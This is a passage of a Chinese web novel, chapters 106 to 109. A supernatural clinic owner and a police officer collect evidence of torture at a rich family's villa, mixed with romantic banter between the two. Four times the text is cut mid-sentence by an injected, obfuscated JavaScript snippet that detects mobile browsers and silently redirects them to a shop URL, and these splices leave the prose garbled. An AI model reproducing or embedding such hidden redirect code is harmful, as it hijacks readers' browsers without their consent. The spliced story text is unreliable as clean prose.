“画有给你新的预示吗?”因着有男孩在场,春渐满只能含糊地问了一句。 “有没有,这事儿都得在我手里结,不然有好果子等着我。”独孤尽头疼地叹了口气,如果真有可能,他压根不想跟那些人打交道,太危险了。 “跟你师父说声吧,如果有万一,能兜个底。”独孤尽暗指曹鸿盛。 “我知道了。”春渐满的脸色也变得难看,再这样下去,恐怕连师父也会处于危险之中。 106. 林桥别馆 曹鸿盛接到电话的时候正在整理一份文档,他最近刚清闲下来一点儿,没了春渐满的打扰,他觉得工作总算能透气了。 可这个电话来得太是时候了,他盯着手机好一会儿都不想点接通。 “什么案子?”曹鸿盛都不用猜就知道肯定是春渐满又给他找事儿了。 他不是说春渐满办案子不是个好事,而是觉得这案子就像长了眼睛一样,跑到春渐满身边去了。 接二连三,不得空闲。 不过,想到春渐满是跟在谁身边,他就也没话说了,这样来看的话,其实“怪奇诊所”比他们警局来说,有过之无不及,都挺忙的。 有空他一定要拉着他的好徒弟问问,这个“怪奇诊所”的主人到底是什么来头,为什么要为民除害,如果实在想为民除害,大可以加入他们,而不是在民间弄出这种谣言。 “有个乞讨案,还有个高层孩子被拐案,这两个案子应该是同一个,他们有联系,我得跟您透个底,毕竟,不在我们辖区,我只是辅助他们片区。”春渐满说完就准备去看看那边被带回来的乞讨者。 昨晚上救回来的那个男孩最后还是交给了独孤尽,他本该直接给警方,让警方通知家人过来,可独孤尽不肯放人,他要先问。 看在春渐满的面子上,警方暂时延缓了告知男孩家人目前的情况,而独孤尽的动作也很快,他把男孩带回来之后,单独跟男孩在一间屋子里,用了一刻钟的时间就出来了。 男孩的神情有点恍惚,似乎没明白发生了什么。 但独孤尽已经获得了他想要知道的一切,男孩的家人不会来局里接他,只有管家这种无关紧要的人会来。 而男孩也不会在意,他从小就是被这么带大的。 这种感觉让独孤尽很难受,难免让他想起了自己,不过他们之间不同的是,男孩的家人做了太多太多不能见人的事。 里面的弯弯绕绕仅仅只是通过男孩的记忆,根本没办法了解清楚,当务之急是要见到男孩记忆里的那些关键人物。 “带我去你家看看。”独孤尽主动跟男孩提出要求,男孩没什么排斥,他自然不知道把独孤尽带进自己家会给自己的家造成怎样的覆灭。 “你父母平时不在家也就算了,你出这种大事,人也不回来?”虽然在男孩的记忆里已经得到了答案,可独孤尽还是没忍住又问了一遍。 “他们比较忙,我又没真出什么事。”男孩摇了摇头,他低头看着自己的手指,脑子开始慢慢转动。 男孩又一次被警方带去问话,这一番折腾结束后,天都亮了,而接男孩的管家也来了。 管家看起来是个很精明的中年人,他办好手续,牵起男孩的手就要往外走,独孤尽不声不响跟在了后面,被他瞪了一眼,男孩伸出手把独孤尽牵住,“管家叔叔,这是我的救命恩人,我要带他回去好好谢谢他。” “谢少,既然是救命恩人,我会安排一间屋子让他好好休息,至于感谢他,等明天,我们去宏茂酒楼请他吃饭。”管家又看了独孤尽一眼,大概看出他的穿着不菲,眼里的防备更甚。 “不,管家叔叔,我太害怕了,就要他陪我。”男孩偶尔撒起娇来还真让人没办法,起码管家似乎从没见过男孩这种胡搅蛮缠的样子,他深深地皱起了眉头。 “要不,我就陪他一天,饭也不用格外去外面吃,在家里吃就行。”独孤尽面上为难,心里畅快。 管家自然不会同意让男孩带着独孤尽去宅邸,可男孩闹成这样,他也没法跟主人家交差,只能用权宜之计,“走吧。” 他的车开往的是别馆,他们家的另一处住宅,根本不是男孩经常住的位置。 男孩只是坐在车上就看出了路线有问题,“管家叔叔,怎么不回家?” “林桥别馆也是家。”管家解释了一句。 “可是我的玩具都在家里,林桥别馆没有。”男孩是在用话提醒独孤尽,让他也想想办法。 “我会让人准备少爷您经常玩的玩具,放心。” 越是不让人去,说明家里的问题越多,可能多到仅仅一个外人进去都会发现的程度。 但问题来了,既然家里有那么多的证据,为什么要让男孩继续住在那边? 还是说,那边的证据也是为了掩人耳目,有可能真正的证据在别处,本宅这么保密就是为了让人误以为里面有什么。 毕竟他在男孩的记忆里也没察觉出本家有什么问题,只不过,有几个关键人物在本宅工作,这个林桥别馆里不知道有没有关键人物。 独孤尽没法把这些名词和男孩记忆里的场景对上号,这些名词对于小孩子的记忆来说太难了。 “我不想喜欢林桥别馆,我要回家,我要回家!我被绑了一晚上,我就想回家!”男孩的表现可能跟平时差别太大了,管家对独孤尽的防备更重了。 “谢少,这个人威胁您了吗?” “如果你不信我是他的救命恩人,可以去警局问清楚。”独孤尽也有点恼怒了,虽然他是不安好心,可他到底也是真把人救回来了。 一句感谢没有,这态度也太差了。 “这位先生,实在是少爷从没这么无理取闹过,我不得不多心猜上一猜。”管家仍在开车,他目不斜视,脸上也是挑不出一点错的公式化表情。 男孩这下噤声了,可能真的发觉自己的反应反而坏事了,他蔫蔫地看着窗外。 他是真想回家,再经受了那样的惊下后,都会想回答自己熟悉的地方,那样才能安心。 算了,大不了他白天就不睡了,等晚上,他回了家再睡。 独孤尽又在车上坐了大约半小时,才到了这个叫林桥别馆的地方。 这看起来根本就不是宅邸,反而像是朋友平时聚会会去的场所。 非常民国时期的装修风格,光装修估计都是请了专人来设计的,用材也很考究,独孤尽只走了两步就感受到了那种有什么藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689003|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这片浮华之下的感觉。 这会儿他对男孩经常住的家也没太大兴趣了,反而这个林桥别馆很值得探索。 由于管家对独孤尽的百般防备,独孤尽始终没找到自己一个人独处的时候。 “先生,您看早餐想用中式的还是西式的?” “中式的就好。”独孤尽看了看男孩,男孩冲他点点头。 他虽然不常来林桥别馆,但对这里有什么好吃的还挺熟悉,这边中式的做得最好吃。 独孤尽还在对这个别馆里暗藏的房间惊讶,早餐就堆上了餐桌。 独孤尽仍旧没回过神,他还在让感知力继续往里探。 这些房间大部分都空着,起码,他探索到现在,还没找到有人在屋里。 越是这样,独孤尽就越想赶快把所有房间都探完。 “吃这个肠粉,特别好吃。”男孩发现了管家叔叔一定在暗中观察独孤尽,立马把肠粉推到了独孤尽面前提醒他。 独孤尽本还不想理,但碍着自己现在在人眼皮底下,不能动作太明显,接过了肠粉,食之无味地吃了两口。 “再尝尝这个石斛汁,可好喝了。”男孩继续把自己喜欢吃的分享给独孤尽。 独孤尽下意识接过,就着吸管又喝了一口,“谢谢。” 虽然一直到现在,他还没探到人,但他觉得这别馆里的房间建造得过于奇怪了。 基本上都是大房间套小房间。 大房间在外,小房间通常在类似于壁画或墙壁的后面。 独孤尽不集中注意力没法看清,只能模糊得知道个大概,他把最后一口吃完,对管家露出个歉意的笑容,“洗手间在哪边?” 独孤尽去了洗手间后,管家立马给主人家打了电话过去,把男孩的反常和非得跟着男孩往家跑的救命恩人通通说了一遍。 尤其这个救命恩人根本是个自来熟,完全不把自己当客人,就算是别馆,那样瞎逛也是很失礼的,早餐前就被他抓到这人差点溜进了一间不能让人进的房间。 另一边,春渐满刚走进了看管那些乞讨者的房间,曹鸿盛耳朵很尖,听到了一些异样的声音,“这两个案件现在进展如何?又牵扯到哪些人?” “牵扯的挺高……”春渐满报出了男孩家人的职务与姓名,曹鸿盛听后只沉默了两秒,他现在也是越来越习惯跟那些他斗不过的人斗了。 “我帮你兜底,你放手去干吧。”曹鸿盛深深叹了口气,他的活又来了,没法悠闲了。 “谢谢师父,晚点带好吃的回去给您。”春渐满想了想这边的美食,觉得现吃最香,“还是下次直接带您过来吃,有几家都很好吃。” “你就祈祷我能安全等到那时候吧。”曹鸿盛抹掉额头上的细汗,整天打老虎,他都快变成武松了。 春渐满刚要挂断电话,就看到了手机上独孤尽发来的消息,“师父,林桥别馆您知道吗?我记得您是不是之前跟我提过,去过一次?” 107. 什么时候回天上? “林桥别馆……是有这么回事,去年腊月,去过。”曹鸿盛的声音听起来很遥远,他静默片刻,“怎么了?” “师父您……”春渐满生生顿住,有些话,他问出来会变味道。 “好啊,你小子审案子审你师父脑袋上来了。”曹鸿盛等了会儿没等到春渐满的声音,这下咂摸出味儿来了,“想问什么问吧,不怪你。” “师父您去林桥别馆是为了什么事?”春渐满如蒙大赦,一股脑儿把自己想问的都问了,“还有,林桥别馆里面的布局您了解吗?这里面平时都是什么人去?” “你小子,真不客气啊,我就去过一回,也不是去办案子的,没机会在里面瞎逛。” “那是为了什么事?”春渐满继续追问,他直觉这里面有事。 “别馆换了主人,等等……你刚刚提到的那位,就是他,买了这个别馆。”曹鸿盛努力回忆当时的场景,“当时别馆的旧主人和新主人都在,邀请了很多有权有势的参加,我也受邀去了。” 后面的话曹鸿盛没再说,他记得一些名单,但去了的人并不能代表有问题,否则他自己也要算一员。 “师父,如果想起来什么有用的,麻烦您告诉我。”春渐满挂断了电话,他有点紧张独孤尽现在就在这个别馆里。 而且独孤尽还跟他说了,让他不要打草惊蛇,绝对不能现在就带人过去,他要营造一种势单力薄的感觉,让对方露出马脚。 独孤尽确实只有一个人,顶多现在男孩算他半个自己人,这无论在谁眼里,都是弱势的一方。 除了春渐满,没人知道独孤尽一人就可敌过千军万马,毕竟独孤尽一人就拥有千军万马,可尽管如此,春渐满却是最担心独孤尽的那一个。 “先生,您可以在这间房里休息。”管家把独孤尽引到了一间卧室,这是一间再普通不过的卧室,里面甚至都没有暗藏的房间。 他家主人没让他赶人,只说让他看着点,别让人再到处乱逛了,不管他到底有什么目的,他只有一个人,只要看住了,什么也不怕。 况且别馆这么大,他一个人就算乱逛,也很难在短时间内查出什么。 人家很自信,独孤尽也很自信,他微笑着跟管家道了声晚安就把自己这间房的房门关上了,顺便上了锁。 又检查了一番房间,没发现什么隐藏的摄像头后,他拉上窗帘,躺倒在床上,就集中了精神,让感知力更加细致地透入这间别馆。 别馆主人根本不知道,有人在不知不觉中把他的别馆探了个遍。 独孤尽的反应和举动在管家眼里太过反常,这人如果有什么不可告人的目的非要跟着,那就该继续他之前的行为,继续乱逛,可吃完早餐后,让他在屋里休息,他居然就这么乖乖休息了。 独孤尽可管不了别人怎么想,他探是探完了,可那些至关重要的证据却是没法隔空取物的。 他还是得趁人不备,去取证。 一直到天快黑了,独孤尽才打开了房门,他知道管家就站在门外盯着,一开门就朝他打了个哈欠,“晚餐准备了吗?” 管家有种错乱的感觉,好像自己的主人变成独孤尽了。 “晚餐您想用什么?”他艰难地开口。 “有什么好吃的就上吧,别总让我提要求,怪不好意思的。”独孤尽屈指挠了挠脸颊。 他话是这么说,可管家丝毫没看出来他有哪里不好意思。 没等管家回答,独孤尽就下了楼梯,走回了餐厅。 他现在对这个别馆哪里有监控,哪里没监控,哪里有工作人员,哪里安全都一清二楚。 故技重施,趁管家看他在餐厅乖乖坐着的时候,他抬了抬手,让水汽充满整个别馆,只是一瞬就将所有的摄像头能照射到的情景换成了现在的情景。 并且,会保持现在的情景不变。 这可以在最大程度上迷惑敌人,让人一时间无法察觉这边的异常。 接下来就是“怪奇诊所”诊疗的时间了,独孤尽用手指轻点了点桌面,厨房里瞬间传来了奇怪的叫声。 像是受了惊吓,但是为了不惊扰到旁人,极力压制了。 不得不说,这里的工作人员素质真的很高,无论是专业能力,还是心理素质,都很高。 要知道,独孤尽可是让那些菜和器具都活动了起来,当辣椒、番茄都张开了带着利齿的嘴,鱼虾都长出了手脚,造反般拿了本来应该用在它们身上的器具,不管是谁看到,都要留下阴影。 现在在厨房工作的人就已经无法保持冷静了,他们退到了墙角,厨房里的火还没关,干烧的下场,自然是浓烟滚滚。 闻到厨房里传出来的味道,外面的人自然就进去了。 可进去之后,也被这奇异的场景吓得不敢轻举妄动。 有理智的,绕了路过去把火关了,可对着那些活起来的食材,仍旧束手无策。 “怎么办?外面那位还等着吃饭,我怕他再等不到又要在别馆里乱逛。” “少爷的救命恩人这是什么怪性格,怎么会有人在陌生人家里这么自在。” “依我看,就不是什么好人,谁知道他是不是跟绑架的那些人一伙的,就是为了跟着少爷过来查东西。” “可不能让他再乱逛了,随便找点东西出去给他吧,反正晚餐他也没点餐。”有人试图寻找即食餐品,可他们这种地方还真没什么即食餐品。 “去,去看看米饭。” “对!总不能连米都活了吧。” 独孤尽可在外面听着里面的动静呢,这会儿被提醒了,直接让米也长了脚,开始乱跑。 “哇啊啊!”有人忍不住发出叫声,虽然下一秒他就捂住了自己的嘴,可仍旧泄漏了几声。 独孤尽又等了一会儿,见没人顾得过来管他,便大肆在别馆里逛了起来。 这回他可不是乱逛,目标非常明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689004|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确,冲着能取证的那几个屋子去了。 这几个屋子都藏在特别容易让人忽略的地方,进去之后,还要启动机关才能进去隐藏的地方。 独孤尽感知的时候那叫一个畅快,可真当他要去开机关,取证,就有点儿难办了。 他毕竟不是刑侦出身,对于这种开锁解锁的活,很费劲。 “春警官,快帮帮我,你看,这后面有个密室,你觉得机关会藏在哪里?”独孤尽给春渐满打了个视频过去,他把摄像头翻转,照了一圈房间,又聚焦在他最想进的地方。 “地毯,你摸一下地毯。”春渐满认真看了这面墙附近的摆设,因不在现场,他也没办法上手检查,否则破解起来可能会更容易些。 独孤尽俯身下去,在地上摸了一阵,还真摸到了一处凹陷,他用力往下按了按,墙面开始颤动,往旁边移开。 “春警官,还得是专业的来,谢了。”独孤尽干脆地挂断视频,只要这墙开了,里面就好找了。 他轻车熟路拍摄里一些现场的照片,又录了几段视频,把整个房间拍得清清楚楚,才把那些直播设备收入画里,又将地上残留的毛发收集在袋子中,按照之前的线索,他能够大致推断这里发生过什么惨剧。 只是身在屋中,就能感受到那种让人浑身不适的压抑感,恐惧与愤怒交杂在一起。 地上还有没清洗干净的血迹,那是刷了不知道多久都没清理干净的痕迹,已经干涸,说明惨剧发生了有段时间了。 “春警官,有些人是在这里被卸的胳膊、腿,可能还有一些其他□□上的折磨,只不过那些肢体可能后来转移到北顺街425号了,不知道是为了威慑他们,让他们知道自己逃脱不了,还是让他们无法报警,恐惧报警。”猜测犯罪者到心理就不是独孤尽该做的了,他本也是被压着过来打工的。 “我呢,就把证据都给你存上,后面的事还得你们多费心。”独孤尽这次的电话也没打多久,可春渐满的心却越来越沉,他见过的恶性案件太多,可每次仍然觉得头皮发麻,想不通怎么会有人如此恶的人在世上,还活得好好的。 春渐满忍了会儿,还是给独孤尽发了条消息过去。 你什么时候能回天上? 独孤尽看着这行字愣了许久,他再次给春渐满打过去,“春警官,我要回天上,那得经了情劫,还需要你多配合。” “我会配合你,你回去后,多看看这人世间,把那些不公都治治吧。”春渐满叹了口气,当然,他不会把所有希望都放在独孤尽身上,他要继续作为人间的希望存在,把这些见不得光的事情,一件件都暴露在阳光底下,让那些再也看不见阳光的人,能再次触摸到光。 “我可伤心了,春警官对这个世界的感情可比对我多得多啊。”独孤尽进入另一间证据颇多的房间,他的时间不多了,可不能真赖在这不走。 “来吧,春警官跟我打配合,这屋的机关怎么破?” 108. 一起洗吧 在春渐满的远程辅助下,独孤尽将最重要的证据全都收集好了,剩下一些凤毛菱角,他没时间收集了。 回到餐厅的时候,厨房里已经人仰马翻,被食材骚扰了的工作人员各个面如死灰,他们平日里亏心事就做得多,碰到这种神异的事也就更容易害怕。 独孤尽抬了抬手,把气泡消除,解除了这些幻想,毕竟这里的伙食还挺不错的,他想吃一顿再走。 男孩听到动静出来看情况,也被卷入了厨房,他的脸色也不好,但比起已经定性的成年人,他的接受度高了很多,似乎食材会说话,会长出手脚也没什么大不了的。 可是,这样,再去吃的话,就有点儿心理负担了。 “管家先生,晚餐好了吗?吃完我就回去了。”独孤尽装模作样朝着厨房喊了声。 管家是最快回过神的,他从地上爬起来,拿掉粘在手臂上的米粒。刚才这东西还用尖牙死磕他胳膊,现在倒是任人揉搓了。 “再稍等会儿。” 独孤尽自然知道他们得重新收拾了再给他做晚餐,这世间可长可短,就看他们想不想糊弄他的晚餐了。 事实是,他们在某些方面还是很敬业的,在这样的境地,还能给他整出一顿荤素搭配的丰盛晚餐。 从管家的表情上不难看出,他只是想让独孤尽这尊大佛吃痛快了,快点儿走人。 他虽然不觉得厨房那出闹剧是独孤尽惹出来的,但隐隐约约就是觉得是独孤尽来了,才会出怪事。 独孤尽默默遭受了很多背地里的白眼,但这丝毫不影响他吃饭的兴致,男孩坐在旁边看他吃得起劲,竟然也有了点胃口,跟着吃了一些。 “你要回去了?”他眨巴着眼睛看向独孤尽。 “看到你安全回家,我自然要回去了。”独孤尽点点头,并没说实话。 “以后还能见到你吗?”男孩有点儿不想独孤尽离开,他能感觉到独孤尽的强大,在他身边是安全的。 “我觉得以后你应该不会想再见到我了。”独孤尽把最后一口饭吃完,用纸巾抹了抹嘴巴。 “走了。” 管家自然不可能让独孤尽一个人出去,他一路把独孤尽送出了大门,还试图送他回家。 独孤尽看了管家两眼,觉得对方是想要知道他家的住址,不过……他要回的是警局。 “既然管家先生这么客气,那我就不客气了,麻烦送我回警局。”独孤尽脸上是灿烂的笑容,这笑容用另外一种方式解读就是欠揍。 “好的。”管家牙关都咬疼了才忍住了骂人的冲动。 他真的是第一次见到这么没脸没皮的人,连客套话都听不懂。 真不知道少爷非要带他回来干什么。 独孤尽才不管管家怎么想,他正好在车上睡一觉。省去了自己定位,找没监控的地方瞬移的艰难,他是赚的那个,自然不必烦恼。 春渐满自从独孤尽挂断了远程协助的视频,就一直焦心,等的时间越长,他越怕独孤尽出意外。 虽然知道凭着独孤尽的能力,出意外的概率极其小,但他的心依旧揪着。 他把留在局里的乞讨者都问询了一遍,才舒缓了一些紧张的情绪。 “这些人虽然做了不可饶恕的事,但实际上也都是受害者。”独孤尽叹了口气,最终下了结论。 “真正的加害者的证据我给你带来了,春警官。”独孤尽的声音飘进来,他可是等到管家把车开走了好远才进的警局。 否则他怕自己的声音被风带着飘到不该听到的人耳里。 “东西太多,要怎么给你?”独孤尽想了想,估计能摆满一个二十平方的房间。 “我先跟你过去看看。”春渐满压低了声音,他想找个没有监控的位置。 独孤尽看出了春渐满的意图,冲他露出个坏笑,牵住他走到了卫生间,拉开了一间隔间,将自己和春渐满关在里面。 “你干什么?!被人看到了怎么办?!”春渐满瞬间耳根就红了。 “看到也只会以为我们在干什么亲密的事情,不会想到别的地方。”独孤尽打包票。 “那也不行!怎么能在警局的卫生间里干这种事情,这是要被抓起来的!”春渐满恼了,那张一向冷着的脸也泛起了红。 “春警官以为我说的是什么事?”独孤尽挑了挑眉头,那双桃花眼里充满了兴味。 “回去了。”春渐满懒得再和独孤尽计较这种已经发生的细枝末节,凝神一瞬就回了画里。 独孤尽“啧”了一声,这能力本是让春渐满在危险时刻保命的,现在倒是成了他逃避的好手段。 “春老师,您回来了?!”估计是慌了神的缘故,春渐满的落点有点偏差,落到了神兽们聚集的那片活动区域。 “嗯,我还有事。”他匆匆道别,往独孤尽的那栋楼里赶,也不知道独孤尽把那些东西都放在哪个房间里了。 春渐满打开门时,被扑面而来的血腥味冲击了一波,差点让他退到门外去。 恰巧这时,独孤尽也过来了,他指了指整齐摆放在客厅中间的东西。 “全是原封不动的,指纹,血迹都在。”他强调了一遍,顺便给自己穿上手套。 “这些收纳袋里的是我拿的小件,也用了手套,应该没破坏什么。” “这些人真的太恶了,我都怀疑是不是从地狱里逃出来的恶鬼。”独孤尽不忍再看这些证物,上面残留的痕迹足以表明事发当场有多惨烈。 “独孤尽,主人……”春渐满迟疑了片刻,还是改了称呼,毕竟有求于人就该有有求于人的样子。 “天上下红雨了,还是太阳从西边出来了?怎么这么乖?”独孤尽凑近瞧了瞧春渐满,见他脸上只有凝重,没一点开玩笑的意思,只能跟着他也冷下脸来,“说吧,什么事。” “我不应该怀疑我师父,但我总觉得这件事他可能知道什么,我不想把这些重要的证物直接交出来,我要让他们自己先乱阵脚,要把这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689005|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事闹大,闹到不可收场才行。”春渐满从前只顾着埋头办案,现在跟独孤尽在一起办的重大案件多了之后,难免改了些许想法。 很多时候光查出证据还不够,远远不够,还要有办法将这些证据都落实,让它们成为罪犯无法狡辩的存在。 “那我就只能暂且找个房间放它们了,光摆在这,咱俩都不用吃饭睡觉了。”独孤尽下意识伸手揽过春渐满,春渐满也下意识就要做出格挡。 “春警官好无情,我都辛辛苦苦帮你完成任务了,说好的奖励到现在也没见到,说好的约会,也没约到。”独孤尽的语气极其可怜,他眨巴着水汪汪的眼睛,脑袋都垂了下来。 春渐满被控诉得身体一僵,没再反抗,被独孤尽顺势拉进了怀里。 得逞的某人嘴角露出了不易察觉的笑,继续可怜兮兮把脑袋埋在春渐满脖颈处蹭来蹭去。 “春警官,要补偿我。” “嗯。”春渐满继续僵硬地开口应下,心跳却不知怎么越跳越快。 “先陪我睡一觉,好困好困好困。”独孤尽说着就打了个哈欠,昨天熬了一晚上直接通宵了,白天又劳心劳神收集证据,就算他可能有点儿天上的血脉也受不了这么折腾,而且,比他更辛苦的是春渐满,他想让春渐满好好休息。 “好。”这回春渐满没再扭捏,他已经陪独孤尽睡过好几回了,独孤尽睡觉什么样子,他已经很清楚了,倒是不用怕。 独孤尽显然也没打算做什么别的,他抱着春渐满走进浴室,打开花洒…… “洗澡还是分开洗吧。”春渐满以为独孤尽已经累到倒头就睡的程度了,没想到他还想着要先洗澡。 “两个人一起快一点,春警官……我太困了。”独孤尽一边说一边上前解开春渐满的衣服。 春渐满挡开了独孤尽的手,干脆自己脱了衣服,站到了花洒下,快速冲起来。 再扭扭捏捏下去还不知道独孤尽要干什么,都是男人,谁还怕被看不成?! 想是这么想,可真的被水包裹住,他连眼睛都不敢睁开,就怕看到不该看的。 独孤尽倒是上上下下好好欣赏了一番美人洗澡图。 怕春渐满真的炸了,他没在洗澡的时候碰到春渐满,还给他递了个浴巾。 “满哥,我洗完了,你好了吗?能陪我睡了吗?”独孤尽这称呼转变得春渐满又是一愣,先前听他这么喊还别扭,现在倒是顺耳多了。 “好了。”春渐满草草擦干身体,刚打算换睡衣,就被独孤尽攥住了手腕,直接拖到了床上,“还没到冬天,况且,裸睡有助于身体健康,满哥,我们就别浪费时间穿睡衣了。” 春渐满整个头皮都发麻了,他重新闭上双眼,眼不见为净,再装睡一下,这样就听不见独孤尽说得那些混账话了。 不好意思的是春渐满,最先睡着的也是春渐满,独孤尽还在准备说点儿什么逗逗人,就听见了春渐满安稳绵长的呼吸。 可惜,又被他逃了。 109. 离开狼窝 春渐满确实累了,他睡的很熟,也梦到了很多奇异的事,也就睡得很不安稳,独孤尽在一旁喊了他许久,春渐满才缓缓醒来。 “怎么了?”头疼欲裂的感觉袭来,不对劲。 “满哥,你好像发烧了,起来吃点药。” 认识春渐满这么久以来,他还是第一次见到春渐满这么脆弱的样子,如果可以,他还是宁愿看那张冷冷的,认真工作的脸。 “我睡了多久?外面怎么样了?”春渐满刚从梦中清醒,就瞬间恢复了工作状态,即便身体再不舒服,他也没办法放心休息。 “外面还没动静,你才睡了五个小时,别着急,外面的事我帮你盯着,乖乖吃药。”独孤尽把温水递到他唇边。 只睡了五个小时,春渐满的唇上就已经因为发烧起了皮,他喝了一口润了润嗓子,才觉得舒服一些,把药吞下。 “再睡一觉,等烧退了我再跟你说工作,否则你休想出的了画。”独孤尽在自己的地盘可不管什么法规不法规的。 幸好春渐满领了他的情,没用限制人生自由来说事,否则独孤尽一定会让他后悔。 “我会尽快好起来。”这话不像是说给独孤尽听的,像是在命令他自己的身体。 “要病人都能话到病除就好了。”独孤尽好笑地看着春渐满给自己心理暗示。 不过心理暗示还真有科学依据,据说心情能够影响病症发展,向好向坏。 “那我也祝你很快好起来!”独孤尽想了想,还是抱着春渐满安抚了一下,给他加固了言灵。 “独孤尽,你要是回了天上,我还会记得你吗?”可能是生病的时候人的意识都会薄弱,连春渐满也不例外,他雾蒙蒙的眼里有一丝痛楚。 “这可没人能知道,我都不记得天上的事,如果我真的是从天上下来的。”独孤尽觉得多半凡人是无法记得他的事的,毕竟,如果记得,就不会没有人传唱了。 当然,他见到的那些玄门中人不算,他们应该也没摸到过上天的门道。 否则,也容不得“怪奇诊所”蹦跶这么久都没人能出来收拾他了。 但他行得正坐得端,真要有人想对付他,必然是那些黑恶势力。 此时此刻,现世正开始乱了。 警局接到了上级指示的电话,让他们把那些乞讨者放了,说是有民众反应,他们胡乱抓人,这些乞讨者并没有犯事,已经有人举报他们非正常办案了。 “不能放,我们在他们的住所搜到了证据,怎么能放人?那些肢体都还在检验科比对,再给我们一段时间就会有结果了。”警员们都费解,不肯放人。 可上司的命令是绝对的,他们没有这个能力扣人。 “我也不想放人,明显里头有问题,要不,把人转移到……春警官那边去?”有人提议。 “这样行得通吗?会不会让他们也被举报,而且这算跨地办案,要办很多程序。” “问问吧,你们有看到春警官在哪吗?”在他们的印象里,春渐满还在警局里,可好像谁也没再见到他了。 “有人见他和他带来的那位警官一起去厕所了,后面就没见到了。” “不能在厕所呆这么久吧。”有几位警员去厕所看了一下,里面没人。 这一瞬间,他们竟然动了要查监控的念头,但也就是起了一下,为了这点事去查监控,有种很不尊重人的感觉。 另一边,男孩的父亲原先还不在意男孩这边的动静,毕竟也不是第一次有人绑架男孩了,可耐不住管家一直跟他告状,尤其那些异状他也知晓了,只能到别馆看一看。 这不看不要紧,一看吓一跳,别馆里的东西都快被搬空了,那些房间都需要特殊的密码或者方式才能进入密室,连在别馆里工作的人都不清楚这些,怎么可能被人短时间内就破除并且把里面的东西搬空?! 结合管家报给他的异状,那人绝对有来头,且是奔着他来的。 “小寒,告诉爸爸,为什么要带那个人来家里?”田哲思半弯腰摸着男孩的脑袋,语调是和缓的,可眼里却没有一丝温度。 “是,是我的救命恩人。”男孩沉默片刻,眼里积聚起泪水,他仰面扯了扯男人的袖子,“别怪他”。 “哦?别怪他?他可是要把你爸爸毁掉了,你让我别怪他?他不仅要毁了你爸爸,还要毁了我们整个田家。”田哲思这下连语气也温和不起来了。 “是不是他威胁的你?” 男孩再次面对质问,脸上一阵红一阵白,他觉得独孤尽是好人,如果他家会被毁的话,那一定是他家有问题。 “没有。”男孩这回是坚决地摇头,也正是这个摇头,让田哲思将男孩丢了出去。 管家反而是一直看着男孩长大的,他见先生这么生气,连忙找了旁人去照顾男孩,也有些后悔跟主家告状了。 但少爷确实不该带这种莫名其妙的人回家里,尤其,主家有那么多秘密,少爷也该知道这点。 男孩被丢出家门的那一刻,脑袋里有根弦断了,从出生以来,他就从未在这个家里感受过什么叫温暖,也从未感受过什么叫做他自己,但现在这一刻,他突然觉得自己想做自己了。 男孩看了一眼熟悉又不熟悉的林桥别馆,眼角落下两串泪来。 趁家里的佣人出来前,他躲进了旁边的绿化带。 “何管家,少爷不知道被丢到哪里去了。”出去找的人找了一大圈都没找到男孩的身影,只能急忙忙回来告知。 “还能被丢到哪里去?!就门口!”管家没想到他就这么一下没盯住,人就没了。 “找了,门口没有,周围一大圈,都没有!” “再仔细去找!”管家不相信男孩能跑到哪里去,这附近都是他们的地盘,没人敢掳走他们的少爷。 “是……”底下的人只能在心里怨声载道地继续寻找。 男孩有心躲着人,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689006|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不会被发现,他一向不笨,只不过被家里看管着,什么也不能做,什么也不能想,就像一个机器的零件,被规定只能走怎样的路线。 独孤尽趁春渐满沉沉睡去的时间,出来看了一眼,他跟林桥别馆的工作人员不同,有感知力的好处就是能发现躲在绿化带里的人。 这太奇怪了,正常人谁会躲在绿化带里。 喂虫子吗? “你在这里干嘛呢?”独孤尽精准地找到了男孩的位置,居高临下看着他。 “我,我,看蚂蚁搬家。”男孩生怕自己再被人送回家里,只能随意扯谎。 